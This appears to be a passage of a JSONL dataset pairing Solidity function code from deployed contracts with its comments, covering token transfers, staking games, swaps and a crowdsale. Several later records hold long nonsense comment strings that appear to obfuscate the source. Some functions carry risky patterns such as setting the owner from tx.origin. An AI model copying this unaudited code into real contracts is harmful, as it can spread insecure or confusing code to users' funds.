msg.sender, false);\r\n }\r\n bytes memory nameBytes = bytes(_name);\r\n require(nameBytes.length > 0 && nameBytes.length < 200);\r\n \r\n uint256 vendorId = dataSource.vendorIds(msg.sender);\r\n uint256 id = dataSource.pushRatePlan(vendorId, _name, _ipfs, false);\r\n \r\n // Event \r\n emit RatePlanCreated(msg.sender, _name, _ipfs);\r\n\r\n return id;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Modify rate plan\r\n * Throw when `_rpid` not exist\r\n * @param _rpid The rate plan identifier\r\n * @param _ipfs The address of the rate plan detail info on IPFS\r\n */", "function_code": "function modifyRatePlan(uint256 _rpid, string _name, bytes32 _ipfs) \r\n external \r\n onlyVendor \r\n ratePlanExist(dataSource.vendorIds(msg.sender), _rpid) \r\n returns(bool) {\r\n\r\n uint256 vendorId = dataSource.vendorIds(msg.sender);\r\n dataSource.updateRatePlan(vendorId, _rpid, _name, _ipfs);\r\n\r\n // Event \r\n emit RatePlanModified(msg.sender, _rpid, _name, _ipfs);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/// Forward a signed `transfer` call to the RSV contract if `sig` matches the signature.\n/// Note that `amount` is not reduced by `fee`; the fee is taken separately.", "function_code": "function forwardTransfer(\r\n bytes calldata sig,\r\n address from,\r\n address to,\r\n uint256 amount,\r\n uint256 fee\r\n )\r\n external\r\n {\r\n bytes32 hash = keccak256(abi.encodePacked(\r\n address(trustedRSV),\r\n \"forwardTransfer\",\r\n from,\r\n to,\r\n amount,\r\n fee,\r\n nonce[from]\r\n ));\r\n nonce[from]++;\r\n\r\n address recoveredSigner = _recoverSignerAddress(hash, sig);\r\n require(recoveredSigner == from, \"invalid signature\");\r\n\r\n _takeFee(from, fee);\r\n\r\n require(\r\n trustedRSV.relayTransfer(from, to, amount), \r\n \"Reserve.sol relayTransfer failed\"\r\n );\r\n emit TransferForwarded(sig, from, to, amount, fee);\r\n }", "version": "0.5.7"} {"comment": "/// Forward a signed `transferFrom` call to the RSV contract if `sig` matches the signature.\n/// Note that `fee` is not deducted from `amount`, but separate.\n/// Allowance checking is left up to the Reserve contract to do.", "function_code": "function forwardTransferFrom(\r\n bytes calldata sig,\r\n address holder,\r\n address spender,\r\n address to,\r\n uint256 amount,\r\n uint256 fee\r\n )\r\n external\r\n {\r\n bytes32 hash = keccak256(abi.encodePacked(\r\n address(trustedRSV),\r\n \"forwardTransferFrom\",\r\n holder,\r\n spender,\r\n to,\r\n amount,\r\n fee,\r\n nonce[spender]\r\n ));\r\n nonce[spender]++;\r\n\r\n address recoveredSigner = _recoverSignerAddress(hash, sig);\r\n require(recoveredSigner == spender, \"invalid signature\");\r\n\r\n _takeFee(spender, fee);\r\n\r\n require(\r\n trustedRSV.relayTransferFrom(holder, spender, to, amount), \r\n \"Reserve.sol relayTransfer failed\"\r\n );\r\n emit TransferFromForwarded(sig, holder, spender, to, amount, fee);\r\n }", "version": "0.5.7"} {"comment": "//*** Accessories***/", "function_code": "function createAccessorySeries(uint8 _AccessorySeriesId, uint32 _maxTotal, uint _price) onlyCREATOR public returns(uint8) {\r\n \r\n if ((now > 1516642200) || (totalAccessorySeries >= 18)) {revert();}\r\n //This confirms that no one, even the develoopers, can create any accessorySeries after JAN/22/2018 @ 05:30pm (UTC) or more than the original 18 series. \r\n AccessorySeries storage accessorySeries = AccessorySeriesCollection[_AccessorySeriesId];\r\n accessorySeries.AccessorySeriesId = _AccessorySeriesId;\r\n accessorySeries.maxTotal = _maxTotal;\r\n accessorySeries.price = _price;\r\n\r\n totalAccessorySeries += 1;\r\n return totalAccessorySeries;\r\n }", "version": "0.4.19"} {"comment": "//*** Read Access ***//", "function_code": "function getAccessorySeries(uint8 _accessorySeriesId) constant public returns(uint8 accessorySeriesId, uint32 currentTotal, uint32 maxTotal, uint price) {\r\n AccessorySeries memory series = AccessorySeriesCollection[_accessorySeriesId];\r\n accessorySeriesId = series.AccessorySeriesId;\r\n currentTotal = series.currentTotal;\r\n maxTotal = series.maxTotal;\r\n price = series.price;\r\n }", "version": "0.4.19"} {"comment": "/**\n * Add $CARROT claimable pots for hunters and foxes\n * @param amount $CARROT to add to the pot\n * @param includeHunters true if hunters take a cut of the spoils\n */", "function_code": "function _payTaxToPredators(uint128 amount, bool includeHunters) internal {\n uint128 amountDueFoxes = amount;\n\n // Hunters take their cut first\n if (includeHunters) {\n uint128 amountDueHunters = amount * hunterTaxCutPercentage / 100;\n amountDueFoxes -= amountDueHunters;\n\n // Update hunter pools\n if (totalMarksmanPointsStaked == 0) {\n unaccountedHunterRewards += amountDueHunters;\n } else {\n carrotPerMarksmanPoint += (amountDueHunters + unaccountedHunterRewards) / totalMarksmanPointsStaked;\n unaccountedHunterRewards = 0;\n }\n }\n\n // Update fox pools\n if (totalCunningPointsStaked == 0) {\n unaccountedFoxRewards += amountDueFoxes;\n } else {\n // makes sure to include any unaccounted $CARROT \n carrotPerCunningPoint += (amountDueFoxes + unaccountedFoxRewards) / totalCunningPointsStaked;\n unaccountedFoxRewards = 0;\n }\n }", "version": "0.8.10"} {"comment": "// Sets the USDC contract address, the Uniswap pool fee and accordingly includes the derived Uniswap liquidity pool address to the whitelistedWallets mapping", "function_code": "function setPoolParameters(address USDC, uint24 poolFee) public onlyOwner {\r\n addrUSDC = USDC;\r\n swapPoolFee = poolFee;\r\n whitelistedWallets[authorizedPool] = false;\r\n\r\n // taken from @uniswap/v3-periphery/contracts/libraries/PoolAddress.sol\r\n address token0 = address(this);\r\n address token1 = USDC;\r\n if (token0 > token1) (token0, token1) = (token1, token0);\r\n\r\n authorizedPool = address(\r\n uint160(\r\n uint256(\r\n keccak256(\r\n abi.encodePacked(\r\n hex'ff',\r\n 0x1F98431c8aD98523631AE4a59f267346ea31F984,\r\n keccak256(abi.encode(token0, token1, poolFee)),\r\n bytes32(0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54)\r\n )\r\n )\r\n )\r\n )\r\n );\r\n whitelistedWallets[authorizedPool] = true;\r\n }", "version": "0.8.7"} {"comment": "// Enables GoldPesa to set the \"feeOnSwap\" distribution details ", "function_code": "function setFeeSplits(FeeSplit[] memory _feeSplits) public onlyOwner {\r\n uint256 grandTotal = 0;\r\n for (uint256 i = 0; i < _feeSplits.length; i++) {\r\n FeeSplit memory f = _feeSplits[i];\r\n grandTotal += f.fee;\r\n }\r\n require(_feeSplits.length == 0 || grandTotal == 100);\r\n // temporarily allow 0 fee splits for tests for manual fee distribution\r\n delete feeSplits;\r\n for (uint256 i = 0; i < _feeSplits.length; i++) {\r\n feeSplits.push(_feeSplits[i]);\r\n }\r\n feeSplitsLength = _feeSplits.length;\r\n }", "version": "0.8.7"} {"comment": "// Distributes the feeOnSwap amount collected during any swap transaction to the addresses defined in the \"feeSplits\" array", "function_code": "function distributeFee(uint256 amount) internal {\r\n uint256 grandTotal = 0;\r\n for (uint256 i = 0; i < feeSplits.length; i++) {\r\n FeeSplit storage f = feeSplits[i];\r\n uint256 distributeAmount = amount * f.fee / 100;\r\n IERC20(addrUSDC).transfer(f.recipient, distributeAmount);\r\n grandTotal += distributeAmount;\r\n }\r\n if (grandTotal != amount && feeSplits.length > 0) {\r\n FeeSplit storage f = feeSplits[0];\r\n IERC20(addrUSDC).transfer(f.recipient, amount - grandTotal);\r\n }\r\n }", "version": "0.8.7"} {"comment": "// Internal mint function which cannot be called externally after the GPO contract is deployed ensuring that the GPO token hard cap of 100,000,000 is not breached", "function_code": "function _mint(address account, uint256 amount) internal virtual override {\r\n // Ensures that GPO token hard cap of 100,000,000 is not breached even if the mint function is called internally\r\n require(\r\n ERC20.totalSupply() + amount <= hardCapOnToken(),\r\n \"ERC20Capped: cap exceeded\"\r\n );\r\n super._mint(account, amount);\r\n }", "version": "0.8.7"} {"comment": "// Enables GoldPesa to lock and unlock wallet address manually ", "function_code": "function lockUnlockWallet(address account, bool yesOrNo, uint256 amount) public authorizedLocker {\r\n lockedWallets[account] = yesOrNo;\r\n if (yesOrNo) {\r\n uint256 lockedValue = lockedWalletsAmount[account] + amount;\r\n require(lockedValue <= balanceOf(account));\r\n lockedWalletsAmount[account] = lockedValue;\r\n } else {\r\n lockedWalletsAmount[account] = 0;\r\n }\r\n }", "version": "0.8.7"} {"comment": "// User defines the exact amount of USDC they would like to receive while swaping GPO for USDC using the GPO/USDC Uniswap V3 liquidity pool.\n// Any extra GPO tokens not used in the Swap are returned back to the user.", "function_code": "function swapToExactOutput(uint256 amountInMaximum, uint256 amountOut, uint256 deadline) external returns (uint256 amountIn) {\r\n require(swapEnabled || whitelistedWallets[_msgSender()]);\r\n \r\n _transfer(_msgSender(), address(this), amountInMaximum);\r\n _approve(address(this), address(swapRouter), amountInMaximum);\r\n\r\n if (deadline == 0)\r\n deadline = block.timestamp + 30*60;\r\n \r\n ISwapRouter.ExactOutputSingleParams memory params =\r\n ISwapRouter.ExactOutputSingleParams({\r\n tokenIn: address(this),\r\n tokenOut: addrUSDC,\r\n fee: swapPoolFee,\r\n recipient: address(this),\r\n deadline: deadline,\r\n amountOut: amountOut,\r\n amountInMaximum: amountInMaximum,\r\n sqrtPriceLimitX96: 0\r\n });\r\n amountIn = swapRouter.exactOutputSingle(params);\r\n uint256 fee = calculateFeeOnSwap(amountOut);\r\n uint256 amountSwap = amountOut - fee;\r\n \r\n TransferHelper.safeTransfer(addrUSDC, _msgSender(), amountSwap);\r\n distributeFee(fee); \r\n\r\n if (amountIn < amountInMaximum) {\r\n _transfer(address(this), _msgSender(), amountInMaximum - amountIn);\r\n } \r\n emit TokensSwaped(_msgSender(), amountIn, amountOut, false);\r\n }", "version": "0.8.7"} {"comment": "// User defines the exact amount of GPO they would like to spend while swaping GPO for USDC using the GPO/USDC Uniswap V3 liquidity pool.", "function_code": "function swapToExactInput(uint256 amountIn, uint256 amountOutMinimum, uint256 deadline ) external returns (uint256 amountOut) {\r\n require(swapEnabled || whitelistedWallets[_msgSender()]);\r\n\r\n _transfer(_msgSender(), address(this), amountIn);\r\n _approve(address(this), address(swapRouter), amountIn);\r\n\r\n if (deadline == 0)\r\n deadline = block.timestamp + 30*60;\r\n\r\n ISwapRouter.ExactInputSingleParams memory params = ISwapRouter\r\n .ExactInputSingleParams({\r\n tokenIn: address(this),\r\n tokenOut: addrUSDC,\r\n fee: swapPoolFee,\r\n recipient: address(this),\r\n deadline: deadline,\r\n amountIn: amountIn,\r\n amountOutMinimum: amountOutMinimum,\r\n sqrtPriceLimitX96: 0\r\n });\r\n\r\n amountOut = swapRouter.exactInputSingle(params);\r\n\r\n uint256 fee = calculateFeeOnSwap(amountOut);\r\n uint256 amountSwap = amountOut - fee;\r\n\r\n TransferHelper.safeTransfer(addrUSDC, _msgSender(), amountSwap);\r\n distributeFee(fee);\r\n\r\n emit TokensSwaped(_msgSender(), amountIn, amountOut, false);\r\n\r\n return amountSwap;\r\n }", "version": "0.8.7"} {"comment": "/**\n * Chooses a random Hunter to steal a fox.\n * @param seed a random value to choose a Hunter from\n * @return the owner of the randomly selected Hunter thief\n */", "function_code": "function _randomHunterOwner(uint256 seed) internal view returns (address) {\n if (totalMarksmanPointsStaked == 0) {\n return address(0x0); // use 0x0 to return to msg.sender\n }\n // choose a value from 0 to total alpha staked\n uint256 bucket = (seed & 0xFFFFFFFF) % totalMarksmanPointsStaked;\n uint256 cumulative;\n seed >>= 32;\n // loop through each cunning bucket of Foxes\n for (uint8 i = MAX_ADVANTAGE - 3; i <= MAX_ADVANTAGE; i++) {\n cumulative += hunterStakeByMarksman[i].length * i;\n // if the value is not inside of that bucket, keep going\n if (bucket >= cumulative) continue;\n // get the address of a random Fox with that alpha score\n return hunterStakeByMarksman[i][seed % hunterStakeByMarksman[i].length].owner;\n }\n return address(0x0);\n }", "version": "0.8.10"} {"comment": "/* Initializes contract and sets restricted addresses */", "function_code": "function Hedge() {\r\n restrictedAddresses[0x0] = true; // Users cannot send tokens to 0x0 address\r\n restrictedAddresses[address(this)] = true; // Users cannot sent tokens to this contracts address\r\n balances[msg.sender] = 50000000 * 10 ** 18;\r\n }", "version": "0.4.11"} {"comment": "/* Allow another contract to spend some tokens in your behalf */", "function_code": "function approve(address _spender, uint256 _value) returns (bool success) {\r\n require (block.number > tokenFrozenUntilBlock); // Throw is token is frozen in case of emergency\r\n allowances[msg.sender][_spender] = _value; // Set allowance\r\n Approval(msg.sender, _spender, _value); // Raise Approval event\r\n return true;\r\n }", "version": "0.4.11"} {"comment": "/* Approve and then communicate the approved contract in a single tx */", "function_code": "function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {\r\n tokenRecipient spender = tokenRecipient(_spender); // Cast spender to tokenRecipient contract\r\n approve(_spender, _value); // Set approval to contract for _value\r\n spender.receiveApproval(msg.sender, _value, this, _extraData); // Raise method on _spender contract\r\n return true;\r\n }", "version": "0.4.11"} {"comment": "/*///////////////////////////////////////////////////////////////\r\n INTERNAL UTILS\r\n //////////////////////////////////////////////////////////////*/", "function_code": "function _mint(address to, uint256 value) internal {\r\n totalSupply += value;\r\n\r\n // This is safe because the sum of all user\r\n // balances can't exceed type(uint256).max!\r\n unchecked {\r\n balanceOf[to] += value;\r\n }\r\n\r\n emit Transfer(address(0), to, value);\r\n }", "version": "0.8.7"} {"comment": "/*\r\n Only use `balanceOf` outside the contract!\r\n This will cause high gas fees during minting if called.\r\n */", "function_code": "function balanceOf(address account) public view returns (uint256) {\r\n uint256 balance = 0;\r\n for (uint256 i = 0; i <= supply; i++) {\r\n if (balanceOf(account, i) == 1) {\r\n balance += 1;\r\n }\r\n }\r\n return balance;\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev initialization function\r\n * @param _startTime The timestamp of the beginning of the crowdsale\r\n * @param _endTime Timestamp when the crowdsale will finish\r\n * @param _whitelist contract containing the whitelisted addresses\r\n * @param _starToken STAR token contract address\r\n * @param _companyToken ERC20 contract address that has minting capabilities\r\n * @param _rate The token rate per ETH\r\n * @param _starRate The token rate per STAR\r\n * @param _wallet Multisig wallet that will hold the crowdsale funds.\r\n * @param _crowdsaleCap Cap for the token sale\r\n * @param _isWeiAccepted Bool for acceptance of ether in token sale\r\n */", "function_code": "function init(\r\n uint256 _startTime,\r\n uint256 _endTime,\r\n address _whitelist,\r\n address _starToken,\r\n address _companyToken,\r\n uint256 _rate,\r\n uint256 _starRate,\r\n address _wallet,\r\n uint256 _crowdsaleCap,\r\n bool _isWeiAccepted\r\n )\r\n external\r\n {\r\n require(\r\n whitelist == address(0) &&\r\n starToken == address(0) &&\r\n rate == 0 &&\r\n starRate == 0 &&\r\n tokenOnSale == address(0) &&\r\n crowdsaleCap == 0,\r\n \"Global variables should not have been set before!\"\r\n );\r\n\r\n require(\r\n _whitelist != address(0) &&\r\n _starToken != address(0) &&\r\n !(_rate == 0 && _starRate == 0) &&\r\n _companyToken != address(0) &&\r\n _crowdsaleCap != 0,\r\n \"Parameter variables cannot be empty!\"\r\n );\r\n\r\n initCrowdsale(_startTime, _endTime, _rate, _wallet);\r\n tokenOnSale = ERC20Plus(_companyToken);\r\n whitelist = Whitelist(_whitelist);\r\n starToken = ERC20Plus(_starToken);\r\n starRate = _starRate;\r\n isWeiAccepted = _isWeiAccepted;\r\n _owner = tx.origin;\r\n\r\n initialTokenOwner = ERC20Plus(tokenOnSale).owner();\r\n uint256 tokenDecimals = ERC20Plus(tokenOnSale).decimals();\r\n crowdsaleCap = _crowdsaleCap.mul(10 ** tokenDecimals);\r\n\r\n require(ERC20Plus(tokenOnSale).paused(), \"Company token must be paused upon initialization!\");\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev function that allows token purchases with STAR\r\n * @param beneficiary Address of the purchaser\r\n */", "function_code": "function buyTokens(address beneficiary)\r\n public\r\n payable\r\n whenNotPaused\r\n isWhitelisted(beneficiary)\r\n crowdsaleIsTokenOwner\r\n {\r\n require(beneficiary != address(0));\r\n require(validPurchase() && tokensSold < crowdsaleCap);\r\n\r\n if (!isWeiAccepted) {\r\n require(msg.value == 0);\r\n } else if (msg.value > 0) {\r\n buyTokensWithWei(beneficiary);\r\n }\r\n\r\n // beneficiary must allow TokenSale address to transfer star tokens on its behalf\r\n uint256 starAllocationToTokenSale = starToken.allowance(beneficiary, this);\r\n if (starAllocationToTokenSale > 0) {\r\n // calculate token amount to be created\r\n uint256 tokens = starAllocationToTokenSale.mul(starRate);\r\n\r\n //remainder logic\r\n if (tokensSold.add(tokens) > crowdsaleCap) {\r\n tokens = crowdsaleCap.sub(tokensSold);\r\n\r\n starAllocationToTokenSale = tokens.div(starRate);\r\n }\r\n\r\n // update state\r\n starRaised = starRaised.add(starAllocationToTokenSale);\r\n\r\n tokensSold = tokensSold.add(tokens);\r\n tokenOnSale.mint(beneficiary, tokens);\r\n emit TokenPurchaseWithStar(msg.sender, beneficiary, starAllocationToTokenSale, tokens);\r\n\r\n // forward funds\r\n starToken.transferFrom(beneficiary, wallet, starAllocationToTokenSale);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev See {IERC20-transfer}.\r\n *\r\n * Unlike `send`, `recipient` is _not_ required to implement the {IERC777Recipient}\r\n * interface if it is a contract.\r\n *\r\n * Also emits a {Sent} event.\r\n */", "function_code": "function transfer(address recipient, uint256 amount) public override returns (bool) {\r\n require(recipient != address(0), \"ERC777: transfer to the zero address\");\r\n\r\n address from = _msgSender();\r\n\r\n _callTokensToSend(from, from, recipient, amount, \"\", \"\");\r\n\r\n _move(from, from, recipient, amount, \"\", \"\");\r\n\r\n _callTokensReceived(from, from, recipient, amount, \"\", \"\", false);\r\n\r\n return true;\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev See {IERC777-operatorSend}.\r\n *\r\n * Emits {Sent} and {IERC20-Transfer} events.\r\n */", "function_code": "function operatorSend(\r\n address sender,\r\n address recipient,\r\n uint256 amount,\r\n bytes memory data,\r\n bytes memory operatorData\r\n )\r\n public override\r\n {\r\n require(isOperatorFor(_msgSender(), sender), \"ERC777: caller is not an operator for holder\");\r\n _send(sender, recipient, amount, data, operatorData, true);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev See {IERC20-transferFrom}.\r\n *\r\n * Note that operator and allowance concepts are orthogonal: operators cannot\r\n * call `transferFrom` (unless they have allowance), and accounts with\r\n * allowance cannot call `operatorSend` (unless they are operators).\r\n *\r\n * Emits {Sent}, {IERC20-Transfer} and {IERC20-Approval} events.\r\n */", "function_code": "function transferFrom(address holder, address recipient, uint256 amount) public override returns (bool) {\r\n require(recipient != address(0), \"ERC777: transfer to the zero address\");\r\n require(holder != address(0), \"ERC777: transfer from the zero address\");\r\n\r\n address spender = _msgSender();\r\n\r\n _callTokensToSend(spender, holder, recipient, amount, \"\", \"\");\r\n\r\n _move(spender, holder, recipient, amount, \"\", \"\");\r\n _approve(holder, spender, _allowances[holder][spender].sub(amount, \"ERC777: transfer amount exceeds allowance\"));\r\n\r\n _callTokensReceived(spender, holder, recipient, amount, \"\", \"\", false);\r\n\r\n return true;\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Creates `amount` tokens and assigns them to `account`, increasing\r\n * the total supply.\r\n *\r\n * If a send hook is registered for `account`, the corresponding function\r\n * will be called with `operator`, `data` and `operatorData`.\r\n *\r\n * See {IERC777Sender} and {IERC777Recipient}.\r\n *\r\n * Emits {Minted} and {IERC20-Transfer} events.\r\n *\r\n * Requirements\r\n *\r\n * - `account` cannot be the zero address.\r\n * - if `account` is a contract, it must implement the {IERC777Recipient}\r\n * interface.\r\n */", "function_code": "function _mint(\r\n address account,\r\n uint256 amount,\r\n bytes memory userData,\r\n bytes memory operatorData\r\n )\r\n internal virtual\r\n {\r\n require(account != address(0), \"ERC777: mint to the zero address\");\r\n\r\n address operator = _msgSender();\r\n\r\n _beforeTokenTransfer(operator, address(0), account, amount);\r\n\r\n // Update state variables\r\n _totalSupply = _totalSupply.add(amount);\r\n _balances[account] = _balances[account].add(amount);\r\n\r\n _callTokensReceived(operator, address(0), account, amount, userData, operatorData, true);\r\n\r\n emit Minted(operator, account, amount, userData, operatorData);\r\n emit Transfer(address(0), account, amount);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Send tokens\r\n * @param from address token holder address\r\n * @param to address recipient address\r\n * @param amount uint256 amount of tokens to transfer\r\n * @param userData bytes extra information provided by the token holder (if any)\r\n * @param operatorData bytes extra information provided by the operator (if any)\r\n * @param requireReceptionAck if true, contract recipients are required to implement ERC777TokensRecipient\r\n */", "function_code": "function _send(\r\n address from,\r\n address to,\r\n uint256 amount,\r\n bytes memory userData,\r\n bytes memory operatorData,\r\n bool requireReceptionAck\r\n )\r\n internal\r\n {\r\n require(from != address(0), \"ERC777: send from the zero address\");\r\n require(to != address(0), \"ERC777: send to the zero address\");\r\n\r\n address operator = _msgSender();\r\n\r\n _callTokensToSend(operator, from, to, amount, userData, operatorData);\r\n\r\n _move(operator, from, to, amount, userData, operatorData);\r\n\r\n _callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Burn tokens\r\n * @param from address token holder address\r\n * @param amount uint256 amount of tokens to burn\r\n * @param data bytes extra information provided by the token holder\r\n * @param operatorData bytes extra information provided by the operator (if any)\r\n */", "function_code": "function _burn(\r\n address from,\r\n uint256 amount,\r\n bytes memory data,\r\n bytes memory operatorData\r\n )\r\n internal virtual\r\n {\r\n require(from != address(0), \"ERC777: burn from the zero address\");\r\n\r\n address operator = _msgSender();\r\n\r\n _beforeTokenTransfer(operator, from, address(0), amount);\r\n\r\n _callTokensToSend(operator, from, address(0), amount, data, operatorData);\r\n\r\n // Update state variables\r\n _balances[from] = _balances[from].sub(amount, \"ERC777: burn amount exceeds balance\");\r\n _totalSupply = _totalSupply.sub(amount);\r\n\r\n emit Burned(operator, from, amount, data, operatorData);\r\n emit Transfer(from, address(0), amount);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev See {ERC20-_approve}.\r\n *\r\n * Note that accounts cannot have allowance issued by their operators.\r\n */", "function_code": "function _approve(address holder, address spender, uint256 value) internal {\r\n require(holder != address(0), \"ERC777: approve from the zero address\");\r\n require(spender != address(0), \"ERC777: approve to the zero address\");\r\n\r\n _allowances[holder][spender] = value;\r\n emit Approval(holder, spender, value);\r\n }", "version": "0.6.12"} {"comment": "////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACV9[4R]////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACV9[4R]", "function_code": "function mul(uint256 a, uint256 b) internal pure returns (uint256) {////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACV9[4R]\r\n if (a == 0) {////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACV9[4R]\r\n return 0;}////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACV9[4R]\r\n uint256 c = a * b * 1;////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACV9[4R]\r\n require(c / a == b, \"SafeMath: multiplication overflow\");////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACV9[4R]\r\n return c;}", "version": "0.6.11"} {"comment": "//frgwert34rgvfev[4R]EwnqdNBHSUACVRTHHHHHHGFEER15666WERF", "function_code": "function sendValue(address payable recipient, uint256 amount) internal {////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACVRTHHHHHHGFEER15666WERF\r\n\r\n//frgwert34rgvfev9[4R]\r\n require(address(this).balance >= amount, \"Address: insufficient balance\");///////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HE\r\n\r\n//frgwert34rgvfevvwnqdNBHSUACV9[4R]\r\n (bool success, ) = recipient.call{ value: amount }(\"\");////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACV9[4R]\r\n\r\n//frgwert34rgvfev\r\n require(success, \"Address: unable to send value, recipient may have reverted\");}", "version": "0.6.11"} {"comment": "//frgwert34rgvfev", "function_code": "function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {////////sdfert/weh98pWSEI;Jdsewr78039- \r\n\r\n//frgwert34rgvfev Q70wgQY3HEwnqdNBHSUACV9[4R]\r\n require(address(this).balance >= value, \"Address: insufficient balance for call\");////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACV9[4R]\r\n\r\n//frgwert34rgvfev\r\n return _functionCallWithValue(target, data, value, errorMessage);}", "version": "0.6.11"} {"comment": "//frgwert34rgvfevwgQY3HEwnqdNBHSUACV9[4R]", "function_code": "function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3\r\n\r\n//frgwert34rgvfevHEwnqdNBHSUACV9[4R]returndata.length > returndata.length > returndata.length > returndata.length > returndata.length > \r\n require(isContract(target), \"Address: call to non-contract\");////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACV9[4R]////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSU\r\n\r\n//frgwert34rgvfevACV9[4R]\r\n (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACV9[4R]////////sdfert/we\r\n\r\n//frgwert34rgvfevh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACV9[4R]\r\n if (success) {////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQ\r\n\r\n//frgwert34rgvfevY3HEwnqdNBHSUACV9[4R]////////sreturndata.length > dfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACV9[4R]\r\n return returndata;////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQreturndata.length > \r\n\r\n//frgwert34rgvfevY3HEwnqdNBHSUACV9[4R]////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACV9[4R]\r\n } else {////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSU\r\n\r\n//frgwert34rgvfevACV9[4R]////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACV9[4R]\r\n if (0 < returndata.length) {////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACV9[4R]\r\n assembly {////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACV9[4R]\r\n let returndata_size := mload(returndata)////////sdfert/weh98pWSEI;Jdsewr78039- \r\n\r\n//frgwert34rgvfev Q70wgQY3HEwnqdNBHSUACV9[4R]\r\n \r\n revert(add(32, returndata), returndata_size)}}else {revert(errorMessage);}}}", "version": "0.6.11"} {"comment": "////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACV9[4R]SEFWYW", "function_code": "function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3EYHERTHHEwFSFnqdNBHSUACV9[4R]\r\n _transfer(sender, recipient, amount);////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACV9[4R]////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSFS\r\n\r\n//frgwert34rgvfevFUACV9[4R]////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACV9[4R]\r\n _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, \"ERC20: transfer amount exceeds allowance\"));////////sdfert/weh98pWSEI;JdsewRYJMRHr78039- Q70wgQY3HEwnqdNBHSUACV9[4R]\r\n return true;}", "version": "0.6.11"} {"comment": "////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACV9[4R]////////sdfert/weh98pWSEI;JdsewRYJ76544536r78039- Q70wgQY3HEwnqdNBHSUACV9[4R]", "function_code": "function _transfer(address sender, address recipient, uint256 amount) internal virtual {////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACV9[4R]\r\n require(sender != address(0), \"ERC20: transfer from the zero address\");////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSGUACV9[4R]\r\n\r\n//frgwert34rgvfev\r\n require(recipient != address(0), \"ERC20: transfer to the zero address\");////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3356H356HFHEwnqdNBHSUACV9[4R]\r\n _beforeTokenTransfer(sender, recipient, amount);////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACV9[4R]WERG4\r\n\r\n//frgwert34rgvfev\r\n _balances[sender] = _balances[sender].sub(amount, \"ERC20: transfer amount exceeds balance\");////////sdfert/weh98pWSEI;JdseDFGBERTwr78039- Q70wgQY3HEwnqdNBHSUA\r\n\r\n//frgwert34rgvfevCV9[4R]\r\n _balances[recipient] = _balances[recipient].add(amount);////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUSGFBRACV9[4R]\r\n emit Transfer(sender, recipient, amount);}", "version": "0.6.11"} {"comment": "////////sdfert/weh98pWSEI;Jdsewr78039- Q70wgQY3HEwnqdNBHSUACV9[4R]S", "function_code": "function _burn(address account, uint256 amount) internal virtual {////////sdfert/weh98pWSEI;Jdsewr78039- QSDFB70wgQY3HEwnqdNBHSUACV9[4R]\r\n require(account != address(0), \"ERC20: burn 